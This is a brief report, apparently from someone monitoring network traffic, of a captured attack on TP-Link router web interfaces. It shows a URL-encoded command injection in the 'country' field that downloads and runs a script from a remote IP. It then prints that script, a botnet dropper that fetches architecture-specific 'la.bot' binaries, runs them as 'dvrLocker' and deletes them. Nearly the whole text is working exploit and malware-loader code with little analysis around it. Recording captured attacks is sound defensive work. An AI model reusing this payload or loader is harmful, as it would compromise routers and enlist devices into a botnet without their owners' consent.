Bot sniffing traffic with requests similar to:

http://IP-ADDRESS:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F147.78.103.155%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

-------

The file downloaded from the wget command is this:

#!/bin/sh
n="arm arm5 arm6 arm7 m68k mips mipsel powerpc sh4 sparc arc"
http_server="147.78.103.155"

# send tmp-rw directories
cd /tmp
cd /var/tmp
cd /tmp/tmpfs
cd /dev/shm
cd /var/run

for a in $n
do
        # download and execute
        wget http://$http_server/rib/la.bot.$a -O -> dvrLocker
        chmod 777 dvrLocker
        ./dvrLocker tplink.$a

        # remove new binary
        rm -rf dvrLocker
done